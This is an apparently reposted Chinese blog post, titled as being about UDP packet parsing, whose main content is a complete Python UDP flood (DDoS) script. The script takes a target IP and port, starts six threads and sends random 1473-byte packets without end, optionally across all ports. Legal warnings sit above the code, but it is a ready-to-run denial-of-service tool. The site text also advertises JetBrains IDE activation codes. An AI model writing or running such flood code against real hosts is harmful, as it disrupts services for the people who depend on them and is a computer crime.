python实现udp_python udp报文解析

python实现udp_python udp报文解析python的udp攻击ddos攻击upd攻击主要是运用,网络套接字模块和多线程或多进程模块对一个ip不断的发送数据包,代码中都是都是自带库python可直接运行和调用。使用前请注意!!!!!!!!!!!!!!!!!!!!!未成年人请勿使用!!!!!!!!!!!!!!!!!!!请勿非法攻击任何网络!!!!!!!!!!!!!!!!!刑法里涉及计算机犯罪的在第285、286、287条,请自行查阅#coding=’utf-8’importsocket#套接字模块fromthreadingim

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

#coding='utf-8'
import socket#套接字模块
from threading import Thread#线程模块
from random import choice#使用choice创建随机字符


#使用前请注意!!!!!!!!!!!!!!!!!!!!!
#未成年人请勿使用!!!!!!!!!!!!!!!!!!!
#请勿非法攻击任何网络!!!!!!!!!!!!!!!!!
#刑法里涉及计算机犯罪的在第285、286、287条,请自行查阅

def udp_attack(ip:str,port:int,port1:int,data_packet:str):#攻击函数
    ''' 参数 ip为ip地址 port为端口号 port2为绑定端口号 bao为要发送的字符串 '''
    a=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    a.bind((socket.gethostname(),port1))
    if port==0:
        while 1:
            for i in range(65536):
                a.sendto(data_packet.encode(),(ip,i))
    else:
        while 1:
            a.sendto(data_packet.encode(),(ip,port))

        
def start_attack():#线程函数
    suiji='0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()'
    bao=''
    for i in range(1473):
        lin=choice(suiji)
        bao+=lin
    ip=str(input('请输入要攻击的ip地址\n'))
    port=int(input('请输入要攻击的端口号,为0攻击所有端口\n'))
    for i in range(6):
        try:
            nihao=Thread(target=udp_attack,args=(ip,port,8000+i,bao))#创建一个线程,i+1的意思是不重复绑定端口
            nihao.start()#开始线程
            print('线程%d准备完毕\n'%i,end='')
        except:
            print('线程出错\n',end='')
    print('所有线程发起完毕,攻击中\n',end='')


if __name__=='__main__':
    start_attack()#调用多线程函数

本人菜鸟,写的不好的地方请批评 留言。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/186549.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • centos7使用nmcli设置ip地址

    centos7使用nmcli设置ip地址

    2021年5月31日
    111
  • Tomcat使用IDEA远程Debug调试[通俗易懂]

    Tomcat使用IDEA远程Debug调试[通俗易懂]Tomcat运行环境:CentOS6.5、Tomcat7.0、IDEA远程Tomcat设置1、在tomcat/bin下的catalina.sh上边添加下边的一段设置CATALINA_OPTS=”-Xdebug-Xrunjdwp:transport=dt_socket,address=60222,suspend=n,server=y”2、address=60222这个是后边IDEA设置的时候需要

    2022年9月10日
    0
  • Java调用Shell命令和脚本[通俗易懂]

    Java调用Shell命令和脚本[通俗易懂]1.介绍有时候我们在Linux中运行Java程序时,需要调用一些Shell命令和脚本。而Runtime.getRuntime().exec()方法给我们提供了这个功能,而且

    2022年8月18日
    3
  • Linux用telnet判断端口是否通

    Linux用telnet判断端口是否通通的[root@1222~]#telnet127.0.0.14531Trying127.0.0.1…Connectedto127.0.0.1.Escapecharacteris’^]’.不通[root@1222~]#telnet127.0.0.14581Trying127.0.0.1…telnet:connecttoaddress127.0.0.1:Connectionrefused退出方式1.输入Ctrl+】键,然后

    2022年10月22日
    0
  • Node.js aitaotu图片批量下载Node.js爬虫1.00版[通俗易懂]

    Node.js aitaotu图片批量下载Node.js爬虫1.00版[通俗易懂]即使是https网页,解析的方式也不是一致的,需要多试试。代码://======================================================//aitaotu图片批量下载Node.js爬虫1.00//2017年11月14日//======================================…

    2022年9月14日
    0
  • UDP 协议格式

    UDP 协议格式UDPRFC:https://tools.ietf.org/html/rfc768UDP协议和TCP协议同位于传输层,介于网络层(IP)和应用层之间:UDP数据部分位应用层报文。而UDP报文在IP中承载。UDP报文格式相对于简单,如下图:源端口:端口号0-65535,1-1024保留端口号,为标准的服务端口目的端口:同上UDP长度:header+data总长度UDP校验

    2022年5月4日
    47

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号